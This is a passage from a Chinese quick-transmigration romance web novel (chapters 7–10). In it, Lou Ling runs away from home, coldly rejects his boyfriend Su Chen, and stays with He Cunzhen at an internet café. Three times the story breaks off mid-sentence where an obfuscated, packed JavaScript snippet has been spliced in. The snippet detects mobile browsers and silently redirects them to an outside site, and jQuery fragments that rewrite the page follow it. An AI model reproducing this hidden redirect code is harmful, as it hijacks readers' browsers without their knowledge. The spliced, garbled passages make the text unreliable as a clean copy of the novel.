《渣攻他从不悔改[快穿]》 7. 现代 “明天下午五点半,汾中门口见,我把衣服还你。” 发完这句话,娄陵丢下手机。 【你不回一下小苏吗?他这些天给你发了好多消息,打你的电话你也没接。】 【我正处在世界观崩塌的迷茫状态,回不了消息。】 【……】 041很想吐槽,但是忍住了。 【诶,你怎么开始收拾东西了。】 它看见娄陵往书包里塞完贺存真的衣服后,又将充电宝、钱包、数据线、教材等放了进去。 【看不出来?我要离家出走。】 娄陵又往里边扔了几个小面包,这才拉上书包拉链。 【为什么……】 【你真的想看我去联姻?】 他挑了下眉。 【不是,但你不是说不用管吗,我以为你有别的计划……】 小圆球用自己的虚体撞了撞那个背包,然后顺利穿了过去。 【我的计划就是离家出走,躲到娄康放弃那个想法为止。】 【啊?那你住哪里,去找小苏吗?】 它的声音突然兴奋起来,正想夸一句英明,又听见他道:“不,我现在最应该远离他。” 【?】 041不理解,可它也左右不了娄陵,只能默默祈祷不要出什么岔子。 贺存真站在汾南中学前的一棵树下,时不时看向校门口,又忍不住整理自己的衣着和头发,总觉得浑身不自在。 他想起出门前宋哥瞅了他半天,看得他变扭极了,终于在他忍不住发问前开口:“今天去见哪个小女孩啊,穿这么帅。” 支支吾吾说了句“不是”后,他连忙转身跑了。 才不是去见哪个女孩子。 从二十分钟前在这里起,就总有人朝他看过来,令他疑心自己是不是有什么地方不对,又不好找个人问清楚。 路过的人眼里,那里站的是个极其引人瞩目的男孩子,有着一张出现在偶像剧里也毫不违和的脸,穿着短袖和工装短裤,双手插兜,一对上翘的眼睛里流露出不耐烦的神色,倒也不让人讨厌,只觉得是少年心性。 又等了一会儿,视野中终于出现了他等待已久的身影。 待他走近了,贺存真才发觉有些不对。 娄陵脸上的疲倦感不算非常重,只是眼下多了淡淡的青色,衬得他脸色略微苍白。他从刚才起大概就在走神,一直到他面前,停顿了一下,眸光才聚焦起来。 “我……哦,衣服,稍等。” 他卸下背在左肩上的包,拉开拉链,伸手开始摸索,摸找东西的动作也不太顺畅,中间停下了好几次。 半月前还好好的人,变得像个接收指令迟缓的机器人。 “出什么事了?” 贺存真望着那双涣散的眼眸,不禁开口,娄陵却好像根本没听见,只把好不容易掏出来的衣服塞进他怀里。 那衣服倒是叠得整齐。 “已经洗过了,背上破了一点,帮你补上了。” 说完这句话,他拉上背包就打算离开,贺存真立刻攥住包上垂下的带子,强行让他转过身。 “我问你,出什么事了?” “嗯?没什么事……” 娄陵回答的时候,垂眸看向地面,回避了他的视线。 “你之前说上周末见面的,为什么后面来不了?” 他不依不饶,眼里有探究和直白的关心。 “……临时有事。” “现在明明是放学时间,你不是从学校里出来的,还背了这么一个包,而且我刚才看见了里面的东西。” 他抓住肩带的手紧了紧,正打算开口,贺存真下一句就堵了上来。 “你要离家出走。” 他的语气十分肯定,娄陵下意识抬眼,撞上了一张有些狡黠的笑脸。 “我猜对了?” 他不知道该点头还是摇头,迟疑间在人流中捕捉到一抹熟悉的身影。 “我们换个地方说话。” 猝不及防被拽住手腕的贺存真愣住了,任由自己被拉扯着走进一个拐角。 身后是一个小区的外墙,葱郁枝叶堆上墙头,从他们头顶投下一小片阴影,这条道路有些狭窄,一次只能容一辆汽车通过。 路口外的车辆来来往往,在连续的杂音中两个人面面相觑,都等对方先说话。 “咳,你和家里闹矛盾了吗?” 贺存真摸了摸刚刚被他握住的那片肌肤,掩饰住自己的不自然抢先发问。 “嗯。” “看你的样子,时间也不短了,可以和我说说吗?” 娄陵看看他,又垂下眼睛,重复了好几次这样的动作。他微微低头的时候额边碎发会落下来,眼睫毛瞧着也很长,加上眼下淡青,尽管此刻还是没什么表情,却隐约有几分可怜巴巴的味道,好像流落在街头、被雨水打湿毛发的小动物。 贺存真在那一瞬间被击中了靶心,整个人都开始手足无措,本就不硬的心肠这下更是软得一塌糊涂。 他终于思考好了措辞,犹豫道:“他们逼我做我不愿意做的事,不答应就把我关在家里。” “那你接下来怎么办?” 听见这话,贺存真诧异了一瞬,倒没有过于惊讶。 “先跑出来吧,别的暂时没……” “小心!” 娄陵是站在道路外侧的,说话间有一辆车从前方驶来,他却没有察觉,幸好对面的贺存真看得清楚。 情急之下顾不得别的,他抓住娄陵的衣服用力朝自己的方向扯,仓促后退了几步。 娄陵反应不及,脚下不稳,顺力道踉踉跄跄往前,差点摔倒,只能就着惯性把贺存真推到墙边,再用手撑住墙面勉强站稳。 那辆不照规矩按喇叭的汽车从背后呼啸而过,他浅浅松了口气。 被他压在墙上的贺存真却是把整颗心都提了起来。 太近了…… 那口气落在他的鼻尖,温温热热的。 他往旁边靠一点,嘴唇就可以碰到他的下颌,如果再挺一点身,便可以触到唇角。 娄陵的唇瓣偏薄,颜色比较浅淡,可能是这段时间思虑太多,看起来有些缺水,唇纹略重,不知道舔一舔会不会好一点…… 恰在此刻,他的眼睛看了过来,在那对清透的眸子下,似乎所有心思都无所遁形。 呃,我,我在想什么啊…… 贺存真的脸一下子烧了起来,不用摸都知道烫得出奇。他赶紧伸出手,想把娄陵往边上拉一点,可手指刚碰到他的手臂,他就僵住了。 娄陵又凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425473|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近了一点。 过去十几年一直运行良好的心脏发出亟待修理的信号,他有记忆以来从没有和一个人挨得这么近过,好像连呼吸都可以交换。 很意外的是,他竟然不讨厌。 撑住墙面的时候,娄陵脑中爆发出一串惊叫,他按在墙上的手控制不住抖了一下,于是又往前凑了一点。 【快快快快快起来!小苏在路口啊!】 【他来了?】 娄陵淡淡搭理了一声,他的余光落在少年咫尺的侧脸上,上面的红晕格外明显。他垂下眼睫遮住空泛暗沉的双眼,朝贺存真那边偏了一下头。 在旁观者的眼里,那是一个轻巧却温柔的吻。 做完这个,他终于收回手臂,往后退开了。 “娄……娄陵?” 熟悉的声音响起,不是很响,却有着让人无法忽视的颤音。 他转过头,看向眼神恍惚的苏谌。 这是个腼腆内秀的孩子,在人前话少到木讷的地步,只有在真正亲近的人面前展露出他丰富的内心世界,变得活泼俏皮起来。面对娄陵,他很容易害羞,被三言两语逗得脸红以后,往往会再一次不甘示弱地凑上前,眼里的星光愈来愈亮。 此刻,他眼眸中的光黯淡了,平日里鲜活的小脸也褪去了红润。 “你……你这段时间都没来学校,我听老师说是生病了,本来想去看你的,但你一直没接电话。我刚才从学校出来的时候看见你了,才……才跟过来看看的。” 说到这里,他已经快要按捺不住委屈了,眼眶泛红,他大概想等娄陵解释,但只等来了沉默。 “要是今天没遇见,我打算明天去你家的,我找老师要了地址……娄陵,你病好了吗?” 最后一句已经带了点哭腔,他赶紧低下头试图抑制自己的汹涌的情绪。 娄陵他……为什么还不来安慰我呢? 他终于没办法再说服自己,刚才那一幕是那样的清晰,娄陵把那个男生圈在墙面和身体之间,然后吻了他。 为什么会这样。他们甚至还没有接过吻。 他和娄陵距离最近的时候,也只有在他俯身指导题目的时候,最接近接吻的举动,是共用一根冰淇淋勺子。 明明之前还好好的,会牵他的手,会为了他喜欢的东西跑遍大半个城市,会在夕阳的余晖下说喜欢他。 怎么一下子就变成这样了呢? 即使亲眼所见,他还是不相信娄陵变心了,说不定只是个误会呢?也许他不小心崴了脚靠在别人身上了呢? 苏谌抹去眼角的湿意,再次抬起头,想从他那里得到一个解释。 “娄陵,我们不是……”恋人吗? 【呜呜,小苏,他好可怜哇……】 041瞬间同情心决堤,声音也变得迫切。 【他肯定是误会了,你现在应该跑上去解释刚刚那一幕是错位,你没有出轨!】 娄陵没作声,只是静静站在那里,看着苏谌的表情从迷茫到不可置信。 过了许久,起码在苏谌看来漫长得不可思议,他突兀地笑了笑,然后叫了他的名字。 在他期待的眼神中,他说出了那句犹带嘲弄的话。 “我根本就没喜欢过你,只是看你动不动脸红的样子很有趣,觉得好玩而已。” 8. 现代 尾音落下的时候,苏谌的嘴唇猛地颤抖了一下,他后退一步,通红的眼眶暴露在凝滞的空气中。 娄陵的眼神没有分毫变化,只是冷眼看他仓皇滑稽的表演。 他再也拿不出抵御的勇气,只想尽快离开这里,凌乱的脚步声混杂着剧烈的心跳,扰得大脑变作一团浆糊。 或许只要跑得够快,那样刺眼的景象就没办法追上来。 风刮过脸颊,泛开冰凉的触感,留下几行干透的泪痕,他用力搓了搓脸,直到感受到分明的痛感才放下手。 “他……” 贺存真望着苏谌慌不择路的背影,有些错愕,他用手抓了抓头发,借此掩饰自己的不自在,却在注意到娄陵此刻状态时,止住了动作。 那个男孩刚走,他就几乎卸去了所有力气,再维持不住漠然的情态,面色如纸,双唇抿得死紧,连睫毛都耷拉下来,一双漂亮的手垂落身侧,手指蜷起,微微发抖。 禁不住叹了口气后,贺存真拉起他的手,掰开发凉的手指,看见掌心清晰的印痕。 “怎么搞成这个样子。” 娄陵任他捧住手,偏开头,不肯说话。 所有细节都在诉说着他的难过。刚才对峙的时候,他全身都绷紧了,指尖泛白,站在旁边可以看得很清楚。 贺存真突然很想要抱抱他,抚一抚他紧绷的脊背。 明明几分钟前还因为过近的距离感到无所适从,此时却忽然间明白了什么,只不过……同时也失去了。心情是一块半化的冰块骤然掉进白瓷盘子,溅起四散的冰渣。 你们是……那种关系吗? 轻微苦涩的问话在舌尖翻滚,即将出口的那一刻被狠狠咽了下去,连带着整个喉咙都开始发痒。 他忍不住咳嗽了一声。 “你接下来去哪儿?” 面前人缓缓摇头。 “那就去我那儿。” 娄陵讶异地看向他,声音略闷:“你那里不太方便吧……” “没事,有什么不方便的。” 贺存真拽下他的背包,甩上自己的肩膀,回头看他还在发愣,忽然觉得心情好了不少。 “别的不说,一张床还是有的。” 他一把抓住娄陵的手腕,往前快走了两步,同时强压住上扬的嘴角。 “我,我知道了,你把包给我吧……” “不要,我想背着。” 扣在手腕上的手缓缓下滑,覆上掌心,就和在牵手一样。 “咳,抓手腕的话怕你不舒服。” 欲盖弥彰的解释反而将少年心思暴露得明显。 “嗯。” 他散发心思的对象却是心不在焉。 肯定还在想刚刚那个人。 这个念头浮现的瞬间,贺存真下意识放慢了脚步,身后人没注意,直直撞了上来,好在力道不重。 “怎么了?” 娄陵问到。 “……没什么。” 贺存真松开牵着娄陵的左手,朝前示意性指了一下,手放下来后,顺势插进了口袋里。 “我们去对面等车吧。” 娄陵跟着贺存真去了距家几十公里外的一个区,他们现在所在的这条街的头部与一所职业高中相对,尾部则坐落着一家占地不小的网吧。 贺存真走在前面,一把推开网吧大门,高声喊道:“宋哥,我回来了!” 临近傍晚,大厅里已经坐了不少人,有些人没戴耳机,向他们投来讶异的目光。 “瞎嚎什么呢,回来就回来,还得我来接你?” 粗哑浑厚的男声先抵达耳边,一个又高又壮的男人从一排电脑后站起身,大步朝门口走过来。 “你干嘛去了?” 男人毫不客气一掌拍在贺存真肩上。 “没干什么,带了个朋友过来。” 他往旁边挪了一步,把身后的男生完整露了出来。娄陵原本在看旁边的广告牌,闻声冲宋哥点点头。 “你好,我是娄陵。” “哦?噢,你好啊,我是宋成。” 宋成笑了笑,他皮肤偏黑,看着三十岁上下,谈笑间有一种爽朗意气。 “快进来吧。既然是小贺的朋友,和他一起喊我宋哥就行。” “嗯。” 待他们随便找了两个位子坐下,宋哥从冰柜里拿了两听可乐。 “接着。” 贺存真扬起手,稳稳接住飞来的易拉罐,转手放到娄陵掌中。 好冰。 娄陵手指抖了一下,差点没拿住。 他又接住了下一罐可乐,利落拉开拉环,仰头猛灌了一大口。 “呼……” 扭头看见娄陵拿着可乐罐发呆。 “不喝吗?” 娄陵轻轻应了一声,缓缓拉开铝皮,啜了一口,细长的脖颈在黯淡的环境中白得晃眼,喉结耸动的那一瞬无端显露出几分脆弱。 贺存真飞快转过头,又“咕嘟咕嘟”灌了好几口可乐,身上的温度却怎么也降不下来。 外边的天慢慢黑下来,网吧里的人也越来越多,呼喊声、叫骂声混在一起,吵吵嚷嚷,烟味和速食食品的味道在空间中盘旋。 即使缩在深处人最少的地方,娄陵还是对这样的环境有些不适应,他望向旁边的电脑屏幕,绚丽的特效炸了满屏,游戏角色在火光中跑动,少年眼神专注,手指在键盘之上跳跃,节奏轻快,清脆的咔哒声连成一首乐曲。 “饿了吧?” “……嗯?” 喧闹之中,他的声音不太清晰,娄陵的目光还停留在他沉静的侧脸上,却看他在下一秒转眸瞥来,电子屏散发的荧光顺着精致的侧颜勾勒出分明的轮廓。 他冲他眨了一下眼睛。 贺存真取下耳机搁在桌上,从座位上起身,走向前台。 “宋哥!我拿两份饭,三十的,记我账上。” 网吧里提供在外面小饭店里统一订的盒饭,不同的菜式价格也不一样。 “嗨,客气什么,今天带朋友来,哥请客!” “那就谢谢宋哥了。” 很快,盒饭和一次性筷子就被放在他面前的桌上,贺存真再次在他身边落座。 “这家的菜我觉得还不错,你试试。” “谢谢……” 娄陵捏着筷子,不自觉摩挲着塑料包装,犹豫后才开口:“我……” 突兀响起的手机铃声打断了他的话。 看清来电显示后,他的瞳孔收缩了一下,飞快按下挂断键,又犹显不够,打开通讯录把那两个人拉进了黑名单。 “你家里人?” “嗯……” 见他还有些恍惚地看着按灭的屏幕,贺存真按住他的手机,将它抽出来,放到一边。 “先吃饭吧。别担心,这不还有我呢。” 他们后来去这条街的超市里买了生活用品,走出来的时候一人提着一个大塑料袋,袋子和空气摩擦出悉悉的声响。两旁的路灯都亮了,映出来的漆黑影子在凹凸不平的地面上飘着。 时不时有人从他们身边走过,稀碎的脚步声、话语声都离得很近,又隐约隔得很远,仿佛隔了一层透明屏障。贺存真几乎一路上都在打招呼,和路边的摊贩、搬小板凳出来乘凉的老人、下课很晚的学生…… “这里的人都挺好的。” 忽然,他凑到耳边说了这句话。 娄陵偏头,捕捉到他唇边浅浅的笑意。 “所以……”你可以安心待在这里。 “但是我觉得,很好的人是你。” 错愕在他面上一闪而过,娄陵说完后不等他回应便继续往前走去,连步伐都没有变化,贺存真却因为发愣落在了后边。 他嗫嚅了半天,最后只吐出一句嘟囔。 “别若无其事地说这种话啊……” 回去以后,贺存真领着娄陵上了二楼最左侧,这儿有一片小包厢,和楼下大厅相比安静许多,也更宽阔,每个位置用木板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425474|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔开,里边除了电脑和桌子,还有一张小沙发,大概也就一米五六长的样子。 “今天,先凑合一下吧……明天我再给你换个地方。” 贺存真挠挠头,他一头黑发本就蓬松,这一下变得更乱了,每根翘起的发丝都写着不好意思。 “没关系。” 娄陵坐上小沙发,用手撑了撑,然后抬头看他。 “你平时就睡这里?” “嗯,包厢一般没几个人,空着也是空着。” 这些包厢装修时间应该不算很早,设施还挺新的,墙板上飘来淡淡的油漆味,拉上挡板更是显得逼仄昏暗。 两个少年挨在一起,呼吸和心跳在这样的环境中清晰可闻。 经过一阵怪异的沉默,贺存真开始寻找话题。 “……你明天要去上学吗?” “暂时不行,他们肯定会找到学校去。” “那该怎么办呢?” “过几天吧,过段时间他们就放弃了。” 娄陵往后仰去,靠在坚硬冰凉的墙上,望向头顶忽明忽暗的小灯,恍惚看见空气中漂浮的微尘。 “你平时在这里做什么?” “我?重操旧业了,当网管,帮客人跑腿买东西也能拿点小费,还有在网上接游戏代打的单。” 贺存真也学他靠下去,看向同一个方向,话语也像浮尘一样飘渺。 “哈哈,其实我还挺自由的,不想干的时候就不干,一个人反而轻松了好多。” 明明是辛酸的话语,从他口中说出却显得洒脱自在。即使在黑暗中,那莹莹笑意也矅目非常。 “当然,再加一个人也一样。” 接收到意有所指的目光,娄陵迟疑了一下,没想好该怎么回答,于是他也就自然揭过了。 两个人有一搭没一搭说着话,渐渐地,只剩下了贺存真一个人的声音,属于娄陵的声音越来越轻,然后变成跟随潜意识发出的迷糊应答。 “娄陵?” “……唔。” 好像是从鼻腔里面发出来的闷哼,和小动物撒娇一样。 “哈。”可爱。 似乎察觉到什么,他试图抬起头,却因为太困而失败了,额角磕在墙上,幸好力道不重,但把贺存真吓了一跳。 “别,没事,没事,睡吧。” 听他这么说,他才放心闭上眼睛。 贺存真俯身替他揉了揉额角,然后揽着肩膀帮他躺下来,沙发实在太小,少年压根展不开身子。 明天得找宋哥说一声,借一个房间。 还要找老鱼多接几个单子,最好结钱爽快一点,手上的钱还是太少。 明早要先带娄陵去买几件厚一点的衣服,过几天天气就转凉了,他都没带什么衣服。 …… 他拢共想了许多,从思绪中抽离出来后,第一眼看见的仍然是面前的人。 娄陵刚一沾沙发就把自己蜷成一团,修长双腿局促折起,手腕横着挡在眼前,只露出鼻尖和抿起的薄唇。 看起来很不舒服,透露着安全感极度缺乏的信号。 贺存真从旁边的隔间抱出一叠薄毯,刚铺开盖在他身上,他就翻了个身,把自己卷了起来,又发出一声轻哼。 把空调温度调高后,他扫了一圈隔间里的摆设,确认没什么需要做的了,于是目光又忍不住落在窄窄的沙发上。 只是看见这个人好好待在这里,心里就油然而生一股满足感,像漂泊的旅人有了定所,从此任外边雨大风大,只愿和他偏安一隅。 此后近十年,无论遭遇怎样的疼痛苦楚,贺存真始终记得此刻的感觉。十六岁的一个念头,没有随着时光的浪潮退却,竟渐渐膨胀,直到束缚住了他的一生。 然而此刻的他仅仅动了动嘴唇。 “晚安。” 很轻很轻的两个字,只有他自己能听见。 贺存真缓缓拉上隔间门板,如同合上了一只盒盖,里面放着他千金不换的珍宝。 9. 现代 当清晨的光穿过隔板缝隙射进包厢,意识随之缓缓苏醒,他的第一反应还是遮住眼睛,任由自己在混沌中浮沉了片刻。习惯了从大床上起来,结果就是起身的时候动作稍大,险些从那小沙发上翻下去。 【哎哎哎哎哎……】 041下意识发出惊呼,见娄陵稳住身子才收住声。 “呼……” 他靠着墙板,用指节抵住额角,呼吸声有些重。 娄陵有起床气,这一点也是在他们共同经历了几个世界后它才发现的。因为他的表现并不明显,即使被一些突发事件打断睡眠也从没有直接发作过,不过足够敏锐的话是可以感知到一点微妙的低气压的。 他是个很擅长自我克制的人,他人如果只观察表面,往往会得出没有弱点的结论,但041知道,他只是善于隐藏。此外,娄陵的“弱点”其实不像软肋,更像是逆鳞。 曾经在一个主舞台是直播大逃杀的世界,就有人趁他睡着搞暗杀,后来那个人在数千万观众眼前被石磨机关生生碾成了肉酱。所有人都以为那是个意外,那个人只是运气不好。 回想起过去发生的一些事情,本该感知不到温度的041隐隐觉得身体发冷,不敢再发出一点声音。 大概维持那个姿势过了五分钟,他将长腿往地上一撑,站起身走出了隔间。二楼静悄悄的,一个人也没有,慢悠悠转了一圈后,娄陵下了楼。 刚走到楼梯的一半,他就看见贺存真坐在一楼中央的环形沙发上,坐姿大咧咧的。似乎是听见了脚步声,他仰头看向楼梯,面上瞬间有了笑意。 “起了?洗把脸就来吃早饭吧。” 娄陵点点头,转身去了网吧的公共洗手间。他刷牙的动作很快,又随便用清水摸了两把脸。水池是长方形的,多人共用,很长的一条,蓄在里面薄薄的一层水往唯一的洞口扑去,在那里形成很小的漩涡。 抬起头以后,睫毛和发尾沾的水还在一个劲往下掉,落到锁骨上。他瞥了一眼镜子里的自己,眼下青色并没有消去,昨晚睡得实在不舒服。 【这个角色模板的身体数据不算特别好,毕竟是个娇生惯养的大少爷。】 感觉娄陵现在完全清醒了,041弱弱地冒出头。 【不过你一般都用默认数据,我就没改,如果你需要……】 【不用,这样就可以。】 娄陵拧上水龙头,离开了水池边。 不过,希望某人可以上道一些。 “来,吃饭!有包子,还有油条豆浆。” 贺存真不等他走到沙发边就主动凑上来,拉着他手腕开始介绍桌上的东西。 “包子有纯肉的,豆腐的,梅干菜的,你喜欢哪个?” “都可以,谢谢。” “那就都吃。” 盛着一堆包子的大纸碗被推到他面前。 “豆浆要甜的咸的?” “甜的。” 听见这句斩钉截铁的回答,贺存真忍不住笑了。 “娄陵,你喜欢吃甜的呢。” 娄陵正在往嘴里塞包子,听见笑声下意识鼓了下嘴,贺存真怕他噎到,赶紧把甜豆浆往前面递,于是他就着贺存真的手吸了几口豆浆。 把嘴里东西咽下去后,娄陵清了清嗓子。 “咳,我……” “我……” 两道声音交叠在一起,两个人同时顿住了。 “哈哈,你先说吧。” 贺存真一手托腮,笑眯眯看着他。 “嗯……我想的是,这个网吧还缺不缺人手,我也想在这边帮忙。因为出来得匆忙,只带了一点现金,银行卡都受限……” “不缺,这里不缺人。” 他原本含着笑意的声音突然变得严肃,娄陵霎时有些意外。 “可是我看昨天……” “娄陵,”贺存真身体前倾,与他目光相抵,“你还要回去的吧,等事情结束以后。” 明明眼前的人是贺存真,他脑中却不自觉地浮现出另一个人的眼睛,一双纯粹的、含着点忐忑的,同时比星星还要明亮的眼睛。 “我们会去……同一所大学的吧。” 心脏颤动了一下。 “嗯,我要回去高考。” “这就对了。” 或许看出了他一瞬间的恍惚,贺存真的目光黯淡了一霎,又马上接着说了下去。 “继续做你该做的呗,你不习惯这里吧?” “……是有一点。” 这个人,观察力其实相当敏锐。他刚才帮他插吸管,特意从尖口开始拆包装,最后隔着包装纸捏住圆口插进杯子,估计是已经发现了他有洁癖。 “但是……” “你好好读你的书吧,赚钱交给我就行了。” 他微微仰头,晨光落进浅色的眼睛,打亮了一片琉璃。 赶在娄陵开口之前,他又道:“我是想帮你,不是害你,像你这么优秀的人在网吧打工,是一种荒废。” 平静的话语,不知为什么仿若一声叹息,不过他很快又用活泼的口吻接了下一句。 “反正你总归要回去,进入顶尖学府以后肯定前途不可限量,我这次投资怎么想也不会亏,对吧?” 娄陵低着头,沉默了一会儿,并没有被他的语气感染。 “我明白你的意思,但是,既然你这么相信我,怎么就觉得我一定会被环境影响呢?” “我不是那个意思……” 贺存真原本着急解释,看见他噤声的手势,声音渐渐弱了下去。 “你说你不想害我,同样,我也不能害你,把两个人的生活起居压在你一个人身上。而且,真要算起来,我们才认识几天而已。” 他一字一句,口齿清晰,贺存真却像被钉住了唇舌,难发一语。他知道娄陵说这话只是不愿太麻烦他、给他增加负担,但胸口被堵住的感觉几乎让他喘不过气。 是啊,他说的没错,我们不过见了几面,可能在他眼里连朋友都算不上,我却擅自想到了以后,想到了很多年,即使根本不可能。 奇怪的人是我。 压抑住心头泛滥的苦涩,他点点头。 “我明白了。” 后来两个人各退了一步,娄陵也开始打工,只不过不在网吧,而是在附近另一条街的书店,贺存真去和店长说的。小地方这方面的管理不算严格,打过招呼以后彼此都心知肚明,遇上检查的就说是亲戚家的孩子帮忙看店就好。 娄陵平时在收银台,有人买书就帮忙结账,没人的时候自己看书刷题,或者和店长一起把书上架。书店安静许多,还方便找各种学习资料,老板甚至会问他需要什么书,他可以去进来。 每天他会在书店待到晚上十点,因为网吧太嘈杂,不过五六点的晚饭时间,贺存真总要来找他。 “你这样不麻烦吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425475|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不啊。” “吃完饭又要回去。” “……对啊,我一个人吃饭觉得孤单嘛。” 他这么说,娄陵也就拿他没办法。 下班的时候,贺存真又会来接他。每天的这个时候,灯光都稀稀疏疏的,头顶上就是黑沉沉的天,除了偶尔几声虫鸣,好像全世界只有他们两个人。 “你怕黑吗?” “不怕,你呢?” “我也不怕。” “你撒谎。” 若有若无的光线下,娄陵看见他的指尖在发抖。 “……被你看穿了,好吧。” 贺存真语调轻扬,又是那种开玩笑的语气。 “其实我以前不怕的,好像是进……那里以后,才开始怕的。不过都无所谓,一个人扛过去就好了。” “谁说的。” “啊?” 娄陵径直抓住他垂在身侧的手,带着他继续走。 “你现在又不是一个人。” 他们之后还是住在网吧,因为一时也找不到别的去处,不过不再是小包厢,贺存真找宋哥租了空置的杂物间,买了一些二手家具,布置成一个小宿舍。 一开始只打算让娄陵住,但娄陵坚持要他一起搬进去。 “那个沙发太小了,缩着睡容易伤到脊椎。” “没事,我习惯了。再说,我晚上得打游戏,会吵到你睡觉的。” “没关系。” “你睡眠很浅吧,一有动静就醒。” 【诶,他怎么知道?】 【我没特意掩藏过啊,这个世界没什么必要。不过他观察能力确实挺强的。】 “那你在外面打游戏,结束以后不管几点都回来睡。” “这……” “别骗我,毕竟你也说了我睡眠浅,知道你什么时候回来。” “那不是得每晚吵醒你一次吗?” 娄陵不说话了,脸上明明白白写着“这是我最后的妥协”。 “好吧好吧,”贺存真无奈举起双手,“我投降了。” 他语气无精打采,内心却像刚开盖的碳酸饮料,一个劲冒着窃喜的泡泡。 为什么会有这么温柔的人呢,永远先顾忌别人的感受,嘴上会故意和他拉开距离,一举一动又总在心软。对待不太熟的人尚且如此,难以想象面对真正走进他心里的人,他又该表现得有多么细腻周到。 其实从过去与那个人有关的几段时光切片中,也能窥见一点端倪。 啧。那小子为什么偏偏那么好运啊。 要是让041知道他在想什么,它肯定会大呼天真。 娄陵心很软?大错特错!他这人压根就没有心。 跟他扯上关系真是人生的大不幸。当然这话说了也没人会相信的。别说是现在这几位少年人了,就算换成上个世界线的成年人,或是别的世界也一样。人称“狡狐”的帝国皇太子也好,无限恐怖空间top级玩家也好,从尸山血海里走出的帝王也好,或者换作什么剑仙魔尊,最后都落得个世界崩塌的下场。 不过说这话的041,显然遗忘了自己的立场。 【四一,开个体感温控。】 【怎么了怎么了,你发烧了吗?严不严重?】 【不是,替代空调,省点电费。】 【……】 它重重哼了一声,然后把开关打开了。 10. 现代 安置好一切以后只需按部就班向前,就像嵌合的齿轮,将时光飞速运转起来。转眼到了九月末,这天是贺存真的生日,刚好也是中秋。 宋哥给贺存真放了晚上的假,娄陵也和书店老板打了招呼,提前下班了。贺存真说他不怎么爱吃蛋糕,他们商量以后去了菜市场,买了不少蔬菜,还切了一些肉片,又去小饭店借了锅和卡式炉,准备回去涮火锅。 娄陵转动旋钮,锅里的汤渐渐开始翻滚。 “宋哥说他一会和老朋友去聚聚,就不和我们一起了。” 贺存真推门进来,手上提着一打啤酒。 “今天喝点?” “好。” 听见回应,他笑了笑,把酒搁下,拉开椅子坐到娄陵旁边,撑着脸凝视他的侧颜。 “……再等一会儿汤就开了。” “嗯嗯。” 他还是维持那个姿势,静静看他。 娄陵的眼皮颤了颤,正打算询问。 “娄陵。” “嗯?” “你有喜欢的人吗?” “……” 锅中的汤滚沸了,咕嘟咕嘟,白烟围绕着锅沿缭绕。 贺存真稍稍歪头,在一片沉默中摸了摸额角。 “煮开了啊,先下菜吧……” “有。” 端菜的手停在了半空。 “我有喜欢的人。” 他的声音轻而易举穿透烟雾,坠在他的心上。 “是那天那个?” “嗯,他叫苏谌。” 不知道他是怎么做到把一个人的名字念得这么好听的,嗓音比平时更低几分,有点含蓄缱绻的味道。 “那你为什么要说那种话?我看他……很伤心的样子。” “我不想牵连他。” 肉片落进锅里,血红立刻被一层浅褐色抹去。 “那你也可以说清楚吧,这样会造成误会……” 贺存真看向带水渍的碗底,忍不住在心里嘲笑自己。 我还挺大度的。 没办法,他只想看娄陵开心一点。 “那样不行的。” 娄陵的语气有些无奈,眼睛却是笑着的。 “他在有些方面很固执,如果知道真相,只会粘得更紧。” 那抹浅浅的笑明亮灼人,变作一颗火星,狠狠烫了他一下。于是他装作被水蒸气熏到了,捂住眼睛,闷闷应声。 “不过,如果事情没我想得那么糟,等在大学和他遇见以后,我会把一切解释清楚的。” 透过指缝,他看见他被水雾氤氲得模糊的笑颜。 那也很好。 “嗯。” ……还是说不出口。 空空的菜碟堆叠在桌上,炉子的火关停了,剩下的汤就着余温偶尔滚动两下。 两个少年瘫坐在地上,四周倒着数个啤酒瓶。 “呼……嗝。” 贺存真又仰头灌了大半,他喝得太急,酒液顺着下巴滴落。 “你还不赖嘛。” 他朝娄陵扬起罐子,挑了下眉。 “啤酒而已。” 娄陵也抓起啤酒罐,不慌不忙往嘴里倒去,他面皮还是白净如初,好像未受丝毫影响,只是耳垂红得滴血。 “呵呵……” 贺存真握着酒瓶,摇摇晃晃起身,靠在窗框边。 “今天是满月啊。” 银盘高悬夜幕,散发出柔和的辉光。 “是不是该吟诗一首?” 醉酒的娄陵相比平时变得有些木楞,听什么就是什么,乖乖点头后就开始背诗。 “海上生明月,天涯……共此时。” 他又饮了口酒,口齿含含糊糊。 “不知天上宫阙,今夕是何年……” “好!念得好。” 